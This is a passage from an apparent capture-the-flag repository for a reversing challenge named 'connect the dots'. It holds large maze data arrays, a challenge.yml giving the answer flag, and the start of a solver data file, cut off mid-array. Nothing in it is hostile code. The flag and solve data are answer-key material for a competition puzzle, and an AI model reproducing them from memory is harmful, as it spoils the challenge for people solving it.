12, 5, 11, 2, 6, 7, 5, 9, 6, 1, 10, 6, 5, 9, 2, 10, 10, 6, 5, 5, 9, 12, 7, 5, 3, 10, 12, 3, 10, 10, 6, 5, 3, 12, 5, 13, 5, 9, 6, 9, 6, 3, 8, 6, 9, 6, 7, 3, 10, 12, 3, 12, 5, 3, 12, 9, 12, 5, 3, 12, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 3, 6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 3, 14, 5, 5, 5, 5, 3, 10, 6, 5, 5, 9, 6, 5, 3, 12, 3, 6, 3, 6, 13, 3, 10, 12, 1, 8, 10, 12, 3, 12, 7, 3, 6, 5, 11, 8, 6, 5, 5, 11, 4, 13, 3, 6, 13, 3, 6, 13, 3, 4, 5, 5, 3, 8, 10, 14, 5, 3, 14, 5, 9, 10, 6, 7, 5, 5, 11, 12, 9, 6, 1, 6, 11, 0, 12, 3, 10, 8, 12, 13, 1, 10, 12, 5, 5, 5, 11, 6, 9, 6, 9, 10, 10, 6, 9, 6, 13, 5, 3, 12, 3, 2, 10, 10, 2, 10, 12, 3, 10, 6, 5, 7, 9, 6, 9, 12, 5, 9, 10, 6, 1, 12, 9, 10, 6, 3, 12, 3, 4, 13, 3, 10, 12, 5, 3, 14, 9, 6, 3, 4, 5, 13, 3, 6, 5, 5, 9, 8, 6, 9, 6, 9, 10, 10, 6, 9, 6, 5, 9, 6, 9, 10, 10, 8, 10, 14, 3, 10, 10, 10, 4, 9, 6, 13, 5, 1, 6, 5, 9, 10, 6, 5, 5, 11, 8, 12, 3, 12, 3, 6, 13, 9, 6, 3, 10, 12, 5, 9, 14, 5, 5, 3, 10, 10, 6, 5, 5, 7, 9, 6, 9, 4, 9, 14, 9, 2, 10, 6, 5, 11, 2, 12, 11, 6, 9, 10, 10, 10, 10, 10, 6, 3, 12, 5, 5, 5, 9, 6, 3, 12, 9, 6, 5, 9, 6, 3, 12, 5, 9, 12, 5, 5, 11, 8, 12, 5, 5, 1, 10, 6, 3, 10, 10, 10, 12, 5, 3, 10, 6, 13, 5, 5, 3, 12, 5, 9, 10, 12, 3, 10, 12, 5, 9, 12, 5, 11, 10, 8, 12, 11, 8, 14, 5, 5, 5, 7, 5, 9, 10, 6, 3, 10, 2, 6, 9, 14, 5, 3, 6, 5, 1, 2, 10, 6, 5, 5, 5, 3, 10, 12, 9, 14, 9, 10, 6, 1, 10, 12, 9, 2, 6, 5, 9, 6, 3, 6, 9, 6, 13, 9, 6, 5, 5, 3, 2, 10, 8, 6, 3, 10, 4, 9, 6, 5, 3, 12, 5, 3, 12, 9, 10, 12, 9, 12, 3, 12, 5, 9, 14, 5, 5, 13, 9, 12, 5, 5, 5, 9, 12, 5, 3, 12, 3, 10, 10, 6, 13, 5, 3, 12, 9, 6, 3, 10, 10, 12, 5, 9, 6, 5, 9, 2, 6, 9, 10, 12, 7, 9, 12, 9, 6, 3, 10, 2, 12, 3, 6, 11, 4, 3, 14, 5, 5, 3, 12, 3, 2, 6, 9, 4, 3, 4, 5, 5, 3, 6, 3, 6, 5, 3, 10, 4, 9, 10, 8, 14, 1, 6, 13, 5, 3, 10, 12, 9, 12, 5, 3, 4, 9, 6, 3, 10, 12, 3, 12, 147, 10, 6, 5, 7, 9, 10, 8, 12, 3, 10, 10, 12, 3, 8, 10, 6, 5, 13, 5, 9, 10, 10, 6, 5, 9, 6, 5, 3, 8, 10, 10, 12, 5, 11, 12, 5, 3, 14, 5, 9, 6, 9, 4, 3, 12, 13, 3, 6, 5, 5, 9, 6, 3, 12, 9, 12, 5, 13, 5, 9, 10, 14, 5, 9, 6, 9, 6, 5, 9, 12, 13, 5, 11, 4, 9, 10, 4, 3, 2, 6, 9, 12, 9, 6, 3, 12, 3, 12, 7, 9, 12, 3, 6, 9, 6, 3, 10, 8, 6, 3, 12, 5, 3, 12, 5, 1, 12, 9, 6, 5, 3, 10, 12, 3, 6, 5, 3, 6, 5, 1, 10, 12, 3, 6, 13, 3, 12, 5, 5, 3, 6, 3, 12, 7, 3, 12, 7, 9, 10, 12, 7, 1, 6, 13, 13, 5, 13, 3, 10, 6, 5, 13, 9, 2, 8, 14, 9, 6, 9, 10, 6, 3, 12, 5, 3, 4, 7, 5, 9, 2, 10, 10, 4, 9, 8, 6, 9, 10, 6, 3, 12, 3, 12, 9, 2, 12, 5, 3, 6, 9, 10, 12, 5, 9, 10, 6, 9, 2, 14, 1, 12, 3, 10, 4, 5, 3, 2, 12, 9, 12, 5, 5, 1, 14, 3, 10, 2, 12, 3, 12, 11, 10, 164, 1, 12, 5, 9, 6, 5, 9, 10, 12, 7, 5, 7, 9, 6, 9, 10, 10, 6, 13, 3, 2, 14, 5, 5, 9, 12, 5, 13, 3, 6, 5, 9, 10, 6, 9, 12, 7, 5, 11, 12, 5, 1, 8, 14, 3, 6, 5, 5, 3, 6, 9, 12, 9, 12, 5, 13, 3, 10, 12, 7, 5, 7, 5, 3, 12, 7, 3, 12, 3, 12, 3, 12, 3, 12, 1, 10, 10, 10, 2, 10, 14, 9, 6, 3, 6, 3, 6, 1, 8, 10, 6, 3, 12, 9, 6, 3, 10, 6, 9, 6, 5, 7, 5, 9, 10, 12, 5, 3, 10, 10, 6, 3, 6, 5, 3, 4, 11, 12, 3, 12, 5, 9, 6, 13, 3, 8, 14, 1, 14, 3, 12, 3, 12, 5, 7, 9, 10, 10, 12, 9, 12, 5, 9, 10, 8, 12, 13, 5, 3, 12, 9, 10, 6, 5, 9, 10, 10, 8, 4, 9, 6, 9, 6, 3, 12, 3, 6, 9, 12, 9, 10, 10, 10, 6, 13, 3, 10, 4, 9, 6, 3, 2, 12, 1, 12, 3, 10, 6, 9, 10, 2, 12, 5, 3, 12, 5, 9, 14, 3, 6, 5, 3, 2, 14, 5, 5, 1, 6, 13, 3, 2, 10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 5, 9, 10, 12, 5, 9, 10, 10, 6, 5, 3, 10, 2, 12, 9, 10, 10, 6, 9, 188, 5, 11, 4, 5, 5, 1, 14, 3, 4, 9, 10, 6, 5, 9, 14, 3, 12, 3, 10, 10, 12, 11, 12, 9, 6, 3, 2, 6, 3, 12, 5, 9, 6, 5, 3, 12, 5, 5, 11, 10, 2, 2, 14, 5, 5, 5, 9, 12, 13, 3, 12, 11, 10, 6, 5, 9, 10, 10, 4, 5, 3, 12, 5, 3, 4, 7, 9, 12, 3, 6, 11, 12, 5, 5, 9, 12, 5, 13, 9, 10, 6, 9, 6, 3, 12, 9, 10, 10, 12, 5, 5, 3, 12, 1, 10, 6, 5, 3, 10, 10, 10, 10, 12, 5, 3, 6, 5, 3, 2, 12, 5, 9, 10, 10, 6, 1, 10, 14, 5, 3, 10, 4, 3, 14, 5, 9, 6, 3, 12, 9, 8, 6, 3, 4, 5, 5, 5, 5, 5, 11, 8, 2, 8, 14, 3, 6, 11, 12, 5, 3, 0, 14, 5, 3, 10, 12, 5, 9, 10, 10, 12, 11, 2, 2, 8, 10, 6, 9, 12, 7, 5, 1, 12, 11, 10, 6, 9, 12, 5, 9, 12, 5, 9, 10, 6, 5, 11, 10, 4, 7, 3, 10, 10, 6, 5, 3, 6, 5, 3, 12, 5, 13, 3, 8, 10, 8, 10, 6, 3, 12, 7, 9, 6, 9, 10, 6, 3, 6, 9, 10, 4, 9, 10, 12, 7, 9, 10, 6, 3, 10, 6, 7, 1, 10, 10, 12, 5, 5, 5, 5, 3, 6, 3, 12, 13, 5, 9, 12, 5, 9, 10, 10, 10, 10, 6, 11, 12, 1, 10, 6, 5, 1, 14, 3, 12, 7, 9, 8, 14, 5, 9, 6, 11, 2, 10, 10, 12, 13, 5, 11, 4, 5, 13, 3, 10, 6, 11, 10, 10, 8, 10, 12, 3, 14, 9, 6, 5, 5, 5, 3, 10, 8, 14, 5, 5, 5, 5, 5, 3, 6, 9, 12, 11, 10, 8, 10, 6, 3, 12, 13, 5, 3, 8, 14, 3, 12, 5, 3, 12, 5, 3, 10, 10, 12, 9, 12, 3, 4, 3, 12, 5, 3, 2, 12, 11, 8, 10, 12, 9, 6, 9, 6, 9, 10, 6, 9, 6, 3, 6, 9, 12, 7, 9, 6, 5, 5, 5, 3, 10, 10, 6, 3, 10, 12, 1, 12, 201, 10, 6, 3, 2, 10, 6, 9, 10, 4, 5, 13, 3, 6, 9, 10, 12, 5, 5, 5, 9, 6, 9, 6, 3, 12, 13, 3, 10, 6, 13, 3, 6, 9, 6, 11, 2, 12, 9, 4, 9, 10, 10, 6, 3, 10, 6, 9, 6, 5, 3, 10, 12, 9, 10, 10, 12, 5, 7, 3, 2, 10, 12, 9, 10, 10, 12, 3, 12, 5, 3, 4, 11, 10, 4, 9, 2, 6, 5, 3, 6, 13, 5, 11, 10, 2, 2, 10, 10, 8, 6, 9, 10, 6, 11, 8, 12, 5, 5, 7, 5, 9, 10, 10, 14, 9, 10, 2, 12, 3, 8, 12, 3, 6, 11, 12, 5, 3, 10, 12, 9, 12, 3, 4, 9, 12, 3, 10, 6, 5, 13, 3, 12, 9, 4, 7, 9, 12, 5, 9, 10, 6, 3, 8, 12, 9, 10, 12, 9, 6, 9, 6, 11, 8, 10, 6, 3, 6, 3, 12, 5, 3, 8, 10, 12, 3, 12, 9, 4, 9, 6, 3, 14, 9, 8, 6, 1, 10, 14, 1, 6, 5, 11, 6, 5, 5, 9, 12, 9, 6, 1, 12, 3, 6, 5, 9, 6, 5, 3, 6, 9, 10, 12, 7, 5, 3, 12, 3, 6, 13, 5, 11, 8, 6, 11, 10, 10, 8, 10, 4, 3, 12, 3, 14, 3, 10, 6, 5, 5, 5, 9, 12, 9, 6, 3, 10, 6, 9, 12, 3, 14, 1, 12, 9, 6, 5, 7, 3, 2, 10, 6, 5, 13, 9, 6, 5, 11, 2, 10, 10, 4, 11, 2, 218, 6, 13, 5, 9, 10, 4, 3, 10, 6, 9, 10, 10, 10, 6, 9, 6, 13, 3, 10, 10, 10, 10, 10, 6, 5, 1, 6, 5, 3, 12, 13, 9, 10, 6, 3, 10, 12, 7, 3, 2, 14, 1, 10, 10, 10, 10, 12, 3, 4, 5, 13, 3, 10, 10, 10, 12, 7, 9, 10, 10, 12, 3, 2, 6, 13, 3, 12, 9, 12, 5, 9, 8, 10, 12, 5, 9, 2, 10, 8, 8, 10, 10, 10, 14, 5, 3, 14, 1, 12, 5, 5, 5, 9, 12, 9, 14, 5, 9, 10, 10, 12, 7, 9, 12, 9, 12, 3, 12, 7, 3, 4, 9, 10, 14, 9, 6, 9, 6, 9, 14, 3, 12, 9, 8, 0, 14, 5, 5, 3, 6, 5, 3, 12, 5, 5, 7, 9, 12, 7, 5, 9, 10, 12, 9, 6, 9, 8, 6, 7, 3, 4, 3, 6, 5, 1, 12, 1, 6, 11, 8, 2, 10, 6, 3, 6, 3, 12, 3, 12, 9, 6, 3, 12, 9, 6, 9, 6, 11, 2, 8, 12, 5, 7, 5, 7, 9, 6, 1, 10, 12, 3, 12, 5, 7, 3, 10, 6, 3, 12, 1, 6, 9, 6, 5, 13, 5, 7, 9, 12, 9, 2, 14, 9, 6, 5, 3, 6, 9, 12, 5, 9, 10, 12, 9, 10, 14, 5, 9, 6, 3, 10, 10, 4, 5, 9, 6, 9, 10, 10, 6, 5, 3, 12, 3, 10, 2, 12, 3, 14, 3, 12, 7, 5, 9, 10, 12, 9, 12, 5, 7, 9, 6, 9, 6, 5, 3, 10, 6, 3, 2, 14, 9, 6, 13, 5, 13, 9, 6, 5, 7, 5, 13, 5, 5, 9, 10, 6, 1, 10, 10, 8, 14, 5, 5, 3, 12, 5, 9, 10, 14, 5, 13, 3, 10, 12, 11, 2, 12, 9, 10, 6, 9, 6, 5, 13, 3, 6, 5, 3, 10, 4, 9, 6, 9, 4, 9, 10, 10, 10, 10, 12, 1, 12, 3, 2, 6, 1, 14, 5, 9, 2, 6, 5, 5, 3, 12, 11, 0, 10, 14, 5, 9, 6, 3, 12, 3, 6, 3, 12, 9, 6, 3, 8, 12, 5, 9, 12, 5, 5, 9, 10, 2, 10, 6, 3, 8, 14, 3, 10, 12, 5, 5, 11, 4, 5, 5, 11, 8, 10, 10, 6, 5, 3, 10, 10, 10, 6, 9, 4, 1, 14, 9, 6, 1, 14, 3, 12, 7, 9, 10, 4, 5, 9, 14, 3, 10, 8, 10, 6, 3, 12, 9, 6, 5, 3, 6, 5, 1, 6, 3, 10, 10, 12, 9, 10, 6, 9, 8, 14, 3, 6, 3, 12, 5, 5, 1, 12, 3, 10, 12, 11, 2, 10, 10, 14, 9, 8, 6, 7, 5, 9, 6, 11, 2, 10, 10, 2, 10, 6, 11, 6, 5, 5, 9, 10, 12, 3, 10, 10, 12, 3, 6, 9, 6, 13, 9, 6, 7, 9, 12, 9, 12, 5, 3, 10, 10, 4, 3, 10, 12, 9, 10, 6, 5, 7, 7, 5, 9, 12, 5, 9, 10, 12, 9, 10, 6, 5, 9, 10, 6, 3, 10, 10, 12, 9, 10, 12, 9, 12, 9, 12, 5, 5, 5, 13, 3, 12, 9, 12, 5, 9, 12, 3, 10, 4, 3, 10, 10, 6, 5, 5, 5, 3, 10, 10, 12, 7, 9, 10, 6, 3, 10, 236, 3, 12, 9, 6, 5, 7, 5, 5, 13, 3, 6, 9, 14, 5, 3, 12, 9, 10, 10, 12, 3, 6, 9, 6, 5, 3, 6, 3, 6, 1, 2, 6, 9, 6, 5, 5, 3, 6, 1, 10, 14, 5, 9, 10, 12, 9, 6, 7, 3, 8, 10, 12, 3, 8, 6, 9, 10, 10, 12, 3, 12, 5, 1, 12, 3, 8, 6, 5, 1, 10, 14, 1, 10, 2, 14, 5, 5, 9, 12, 3, 10, 12, 3, 10, 6, 11, 10, 8, 12, 7, 9, 12, 5, 9, 6, 3, 12, 9, 6, 9, 12, 3, 6, 13, 5, 3, 12, 9, 12, 5, 9, 4, 9, 6, 9, 6, 9, 12, 1, 14, 5, 5, 5, 3, 12, 3, 12, 5, 3, 8, 10, 6, 9, 10, 10, 6, 3, 6, 3, 12, 13, 5, 9, 10, 10, 8, 10, 6, 3, 10, 6, 5, 5, 3, 12, 11, 2, 6, 9, 6, 3, 10, 10, 4, 3, 12, 5, 5, 5, 7, 5, 7, 5, 9, 2, 14, 5, 5, 3, 12, 5, 5, 1, 14, 5, 13, 5, 3, 12, 5, 9, 10, 6, 11, 10, 8, 10, 12, 11, 2, 6, 5, 5, 9, 10, 6, 11, 10, 8, 14, 9, 6, 1, 12, 3, 10, 12, 9, 6, 9, 8, 10, 12, 3, 12, 5, 3, 6, 3, 12, 5, 9, 6, 5, 13, 9, 6, 3, 10, 6, 3, 4, 5, 9, 6, 3, 0, 10, 6, 7, 5, 9, 10, 10, 10, 6, 13, 3, 12, 9, 12, 3, 6, 5, 9, 8, 10, 12, 3, 12, 3, 12, 5, 3, 10, 14, 3, 6, 9, 6, 5, 13, 3, 12, 5, 3, 12, 9, 12, 5, 3, 6, 9, 6, 5, 3, 10, 10, 10, 10, 10, 6, 5, 3, 10, 12, 7, 9, 10, 10, 6, 3, 12, 9, 8, 12, 3, 12, 5, 5, 3, 12, 9, 6, 5, 5, 11, 2, 10, 4, 13, 5, 5, 9, 10, 10, 10, 10, 6, 9, 6, 5, 9, 6, 1, 12, 5, 7, 5, 3, 10, 10, 6, 9, 4, 9, 8, 14, 9, 8, 12, 13, 3, 12, 9, 6, 9, 6, 13, 9, 8, 10, 6, 7, 5, 3, 10, 4, 5, 3, 12, 5, 5, 11, 4, 3, 12, 9, 10, 2, 6, 5, 5, 3, 8, 14, 9, 10, 10, 6, 9, 2, 6, 9, 6, 5, 3, 12, 1, 8, 10, 10, 10, 6, 5, 5, 3, 10, 6, 5, 5, 5, 9, 6, 3, 12, 5, 9, 6, 5, 5, 9, 10, 12, 5, 9, 12, 7, 3, 10, 6, 5, 1, 12, 5, 9, 6, 7, 9, 12, 9, 6, 1, 10, 6, 9, 6, 9, 12, 13, 5, 11, 12, 5, 13, 3, 12, 5, 7, 1, 12, 9, 12, 9, 6, 3, 14, 9, 12, 5, 3, 4, 3, 12, 9, 4, 5, 3, 10, 6, 3, 2, 14, 5, 5, 5, 3, 8, 12, 13, 9, 6, 7, 5, 5, 3, 10, 12, 5, 3, 6, 11, 2, 10, 14, 5, 11, 4, 5, 5, 5, 9, 4, 5, 3, 10, 6, 3, 12, 7, 3, 4, 5, 3, 10, 12, 9, 6, 5, 5, 9, 6, 9, 6, 5, 7, 3, 12, 9, 10, 10, 12, 9, 6, 1, 6, 9, 6, 3, 6, 3, 10, 12, 5, 5, 13, 9, 6, 3, 10, 10, 10, 12, 9, 10, 6, 9, 6, 3, 6, 3, 6, 5, 3, 12, 9, 10, 12, 3, 10, 12, 7, 3, 12, 13, 5, 5, 9, 6, 5, 3, 12, 3, 14, 3, 10, 10, 2, 6, 11, 10, 2, 6, 11, 2, 14, 3, 10, 10, 10, 10, 10, 2, 6, 3, 6, 3, 10, 10, 10, 10, 10, 2, 6, 11, 10, 2, 10, 10, 10, 10, 10, 2, 14, 3, 2, 14, 243, 10, 10, 2, 10, 10, 6, 3, 2, 6, 3, 10, 6, 11, 6}; ================================================ FILE: rev/connect-the-dots/challenge.yml ================================================ version: "0.1" id: connect-the-dots name: connect the dots category: reversing description: > Can you see the forest for the trees? Author: joseph#8210 files: - ./challenge/connect_the_dots tags: - medium flags: - DUCTF{bfs_dfs_ffs_no_more_mazes_a8fb66c12cd} ================================================ FILE: rev/connect-the-dots/solve/maze_data.py ================================================ MAZE_WIDTH = 60 MAZE_HEIGHT = 60 DOTS_DATA = [65407, 60999, 31620, 5074, 27425, 53858, 20942, 3721] MAZE_DATA = [11, 10, 12, 9, 10, 10, 8, 8, 10, 14, 9, 8, 10, 10, 12, 11, 8, 10, 12, 9, 10, 12, 9, 10, 10, 10, 12, 11, 10, 10, 10, 8, 12, 9, 8, 14, 9, 10, 12, 9, 8, 12, 11, 10, 10, 10, 8, 12, 11, 8, 10, 10, 8, 14, 9, 12, 9, 8, 12, 13, 13, 9, 6, 5, 9, 12, 5, 7, 9, 12, 5, 5, 9, 12, 3, 10, 6, 9, 6, 5, 9, 6, 3, 12, 9, 14, 3, 10, 10, 10, 12, 7, 1, 6, 3, 12, 3, 12, 5, 5, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 7, 9, 6, 5, 5, 5, 3, 4, 5, 5, 11, 2, 6, 5, 3, 10, 6, 5, 5, 3, 6, 3, 10, 10, 12, 5, 9, 6, 3, 12, 9, 6, 1, 10, 10, 10, 8, 14, 3, 12, 3, 12, 13, 5, 9, 6, 3, 6, 5, 9, 10, 10, 10, 10, 12, 9, 6, 5, 5, 3, 10, 2, 12, 3, 6, 5, 9, 6, 5, 3, 12, 11, 12, 1, 14, 9, 12, 3, 6, 9, 12, 9, 10, 12, 5, 3, 6, 13, 9, 6, 5, 11, 2, 10, 12, 13, 3, 10, 10, 6, 11, 2, 6, 5, 3, 10, 12, 9, 6, 5, 11, 12, 9, 10, 6, 5, 11, 0, 2, 14, 9, 12, 3, 10, 14, 5, 5, 13, 1, 12, 3, 12, 3, 6, 9, 6, 3, 10, 12, 5, 3, 6, 13, 3, 6, 9, 10, 6, 5, 11, 2, 10, 12, 13, 3, 2, 10, 10, 12, 9, 10, 10, 12, 3, 8, 10, 6, 3, 12, 3, 8, 6, 3, 10, 12, 3, 12, 5, 9, 10, 6, 3, 10, 10, 10, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 9, 10, 6, 1, 12, 11, 2, 8, 12, 1, 10, 12, 3, 12, 9, 10, 6, 5, 9, 8, 8, 14, 5, 1, 10, 12, 3, 12, 3, 10, 12, 13, 5, 9, 6, 9, 10, 12, 1, 12, 5, 7, 5, 9, 14, 9, 8, 14, 9, 10, 6, 5, 1, 12, 3, 10, 12, 5, 9, 6, 3, 12, 11, 6, 5, 9, 12, 7, 1, 6, 9, 6, 9, 6, 5, 9, 14, 1, 6, 5, 5, 9, 6, 3, 12, 3, 12, 5, 11, 10, 2, 4, 5, 3, 12, 5, 11, 2, 6, 7, 5, 9, 6, 1, 10, 6, 5, 9, 2, 10, 10, 6, 5, 5, 9, 12, 7, 5, 3, 10, 12, 3, 10, 10, 6, 5, 3, 12, 5, 13, 5, 9, 6, 9, 6, 3, 8, 6, 9, 6, 7, 3, 10, 12, 3, 12, 5, 3, 12, 9, 12, 5, 3, 12, 5, 3, 10, 10, 10, 10, 6, 3, 12, 5, 9, 12, 3, 6, 9, 10, 10, 12, 5, 5, 5, 3, 10, 6, 9, 10, 6, 9, 10, 10, 10, 6, 9, 6, 5, 5, 5, 3, 12, 3, 10, 12, 3, 12, 3, 10, 12, 9, 10, 6, 9, 6, 5, 9, 2, 6, 5, 3, 12, 5, 5, 9, 10, 12, 9, 10, 10, 8, 6, 3, 6, 5, 9, 10, 6, 9, 12, 5, 5, 5, 5, 9, 10, 12, 5, 9, 10, 4, 9, 10, 12, 13, 3, 12, 3, 6, 1, 12, 3, 10, 10, 6, 13, 5, 11, 12, 5, 3, 10, 12, 7, 9, 4, 7, 9, 12, 3, 12, 7, 5, 5, 3, 14, 1, 6, 9, 10, 6, 9, 12, 13, 5, 3, 12, 11, 6, 5, 5, 5, 5, 3, 6, 13, 3, 6, 5, 13, 3, 6, 13, 5, 3, 10, 2, 10, 10, 6, 3, 10, 10, 12, 11, 4, 5, 9, 4, 1, 10, 14, 3, 12, 5, 7, 9, 6, 5, 13, 3, 10, 6, 3, 10, 12, 3, 14, 3, 10, 12, 5, 5, 3, 4, 9, 2, 10, 8, 6, 5, 7, 5, 9, 10, 2, 10, 12, 3, 4, 11, 8, 4, 3, 10, 10, 140, 11, 10, 10, 12, 9, 12, 1, 10, 6, 5, 5, 5, 3, 10, 12, 9, 6, 3, 10, 2, 14, 5, 1, 10, 10, 8, 10, 14, 3, 10, 10, 10, 12, 3, 4, 3, 12, 5, 5, 9, 12, 7, 9, 4, 9, 6, 5, 13, 9, 10, 4, 13, 5, 9, 6, 5, 11, 10, 12, 3, 10, 10, 12, 3, 4, 5, 5, 9, 10, 6, 5, 5, 9, 10, 4, 3, 12, 9, 10, 12, 9, 6, 5, 13, 9, 4, 9, 10, 10, 10, 8, 12, 3, 12, 3, 14, 5, 5, 5, 5, 3, 10, 6, 5, 5, 9, 6, 5, 3, 12, 3, 6, 3, 6, 13, 3, 10, 12, 1, 8, 10, 12, 3, 12, 7, 3, 6, 5, 11, 8, 6, 5, 5, 11, 4, 13, 3, 6, 13, 3, 6, 13, 3, 4, 5, 5, 3, 8, 10, 14, 5, 3, 14, 5, 9, 10, 6, 7, 5, 5, 11, 12, 9, 6, 1, 6, 11, 0, 12, 3, 10, 8, 12, 13, 1, 10, 12, 5, 5, 5, 11, 6, 9, 6, 9, 10, 10, 6, 9, 6, 13, 5, 3, 12, 3, 2, 10, 10, 2, 10, 12, 3, 10, 6, 5, 7, 9, 6, 9, 12, 5, 9, 10, 6, 1, 12, 9, 10, 6, 3, 12, 3, 4, 13, 3, 10, 12, 5, 3, 14, 9, 6, 3, 4, 5, 13, 3, 6, 5, 5, 9, 8, 6, 9, 6, 9, 10, 10, 6, 9, 6, 5, 9, 6, 9, 10, 10, 8, 10, 14, 3, 10, 10, 10, 4, 9, 6, 13, 5, 1, 6, 5, 9, 10, 6, 5, 5, 11, 8, 12, 3, 12, 3, 6, 13, 9, 6, 3, 10, 12, 5, 9, 14, 5, 5, 3, 10, 10, 6, 5, 5, 7, 9, 6, 9, 4, 9, 14, 9, 2, 10, 6, 5, 11, 2, 12, 11, 6, 9, 10, 10, 10, 10, 10, 6, 3, 12, 5, 5, 5, 9, 6, 3, 12, 9, 6, 5, 9, 6, 3, 12, 5, 9, 12, 5, 5, 11, 8, 12, 5, 5, 1, 10, 6, 3, 10, 10, 10, 12, 5, 3, 10, 6, 13, 5, 5, 3, 12, 5, 9, 10, 12, 3, 10, 12, 5, 9, 12, 5, 11, 10, 8, 12, 11, 8, 14, 5, 5, 5, 7, 5, 9, 10, 6, 3, 10, 2, 6, 9, 14, 5, 3, 6, 5, 1, 2, 10, 6, 5, 5, 5, 3, 10, 12, 9, 14, 9, 10, 6, 1, 10, 12, 9, 2, 6, 5, 9, 6, 3, 6, 9, 6, 13, 9, 6, 5, 5, 3, 2, 10, 8, 6, 3, 10, 4, 9, 6, 5, 3, 12, 5, 3, 12, 9, 10, 12, 9, 12, 3, 12, 5, 9, 14, 5, 5, 13, 9, 12, 5, 5, 5, 9, 12, 5, 3, 12, 3, 10, 10, 6, 13, 5, 3, 12, 9, 6, 3, 10, 10, 12, 5, 9, 6, 5, 9, 2, 6, 9, 10, 12, 7, 9, 12, 9, 6, 3, 10, 2, 12, 3, 6, 11, 4, 3, 14, 5, 5, 3, 12, 3, 2, 6, 9, 4, 3, 4, 5, 5, 3, 6, 3, 6, 5, 3, 10, 4, 9, 10, 8, 14, 1, 6, 13, 5, 3, 10, 12, 9, 12, 5, 3, 4, 9, 6, 3, 10, 12, 3, 12, 147, 10, 6, 5, 7, 9, 10, 8, 12, 3, 10, 10, 12, 3, 8, 10, 6, 5, 13, 5, 9, 10, 10, 6, 5, 9, 6, 5, 3, 8, 10, 10, 12, 5, 11, 12, 5, 3, 14, 5, 9, 6, 9, 4, 3, 12, 13, 3, 6, 5, 5, 9, 6, 3, 12, 9, 12, 5, 13, 5, 9, 10, 14, 5, 9, 6, 9, 6, 5, 9, 12, 13, 5, 11, 4, 9, 10, 4, 3, 2, 6, 9, 12, 9, 6, 3, 12, 3, 12, 7, 9, 12, 3, 6, 9, 6, 3, 10, 8, 6, 3, 12, 5, 3, 12, 5, 1, 12, 9, 6, 5, 3, 10, 12, 3, 6, 5, 3, 6, 5, 1, 10, 12, 3, 6, 13, 3, 12, 5, 5, 3, 6, 3, 12, 7, 3, 12, 7, 9, 10, 12, 7, 1, 6, 13, 13, 5, 13, 3, 10, 6, 5, 13, 9, 2, 8, 14, 9, 6, 9, 10, 6, 3, 12, 5, 3, 4, 7, 5, 9, 2, 10, 10, 4, 9, 8, 6, 9, 10, 6, 3, 12, 3, 12, 9, 2, 12, 5, 3, 6, 9, 10, 12, 5, 9, 10, 6, 9, 2, 14, 1, 12, 3, 10, 4, 5, 3, 2, 12, 9, 12, 5, 5, 1, 14, 3, 10, 2, 12, 3, 12, 11, 10, 164, 1, 12, 5, 9, 6, 5, 9, 10, 12, 7, 5, 7, 9, 6, 9, 10, 10, 6, 13, 3, 2, 14, 5, 5, 9, 12, 5, 13, 3, 6, 5, 9, 10, 6, 9, 12, 7, 5, 11, 12, 5, 1, 8, 14, 3, 6, 5, 5, 3, 6, 9, 12, 9, 12, 5, 13, 3, 10, 12, 7, 5, 7, 5, 3, 12, 7, 3, 12, 3, 12, 3, 12, 3, 12, 1, 10, 10, 10, 2, 10, 14, 9, 6, 3, 6, 3, 6, 1, 8, 10, 6, 3, 12, 9, 6, 3, 10, 6, 9, 6, 5, 7, 5, 9, 10, 12, 5, 3, 10, 10, 6, 3, 6, 5, 3, 4, 11, 12, 3, 12, 5, 9, 6, 13, 3, 8, 14, 1, 14, 3, 12, 3, 12, 5, 7, 9, 10, 10, 12, 9, 12, 5, 9, 10, 8, 12, 13, 5, 3, 12, 9, 10, 6, 5, 9, 10, 10, 8, 4, 9, 6, 9, 6, 3, 12, 3, 6, 9, 12, 9, 10, 10, 10, 6, 13, 3, 10, 4, 9, 6, 3, 2, 12, 1, 12, 3, 10, 6, 9, 10, 2, 12, 5, 3, 12, 5, 9, 14, 3, 6, 5, 3, 2, 14, 5, 5, 1, 6, 13, 3, 2, 10, 14, 5, 3, 14, 9, 6, 5, 5, 13, 1, 10, 12, 5, 11, 10, 4, 5, 3, 10, 12, 11, 8, 2, 10, 10, 6, 3, 10, 12, 13, 5, 5, 5, 11, 8, 14, 5, 13, 9, 6, 1, 12, 3, 6, 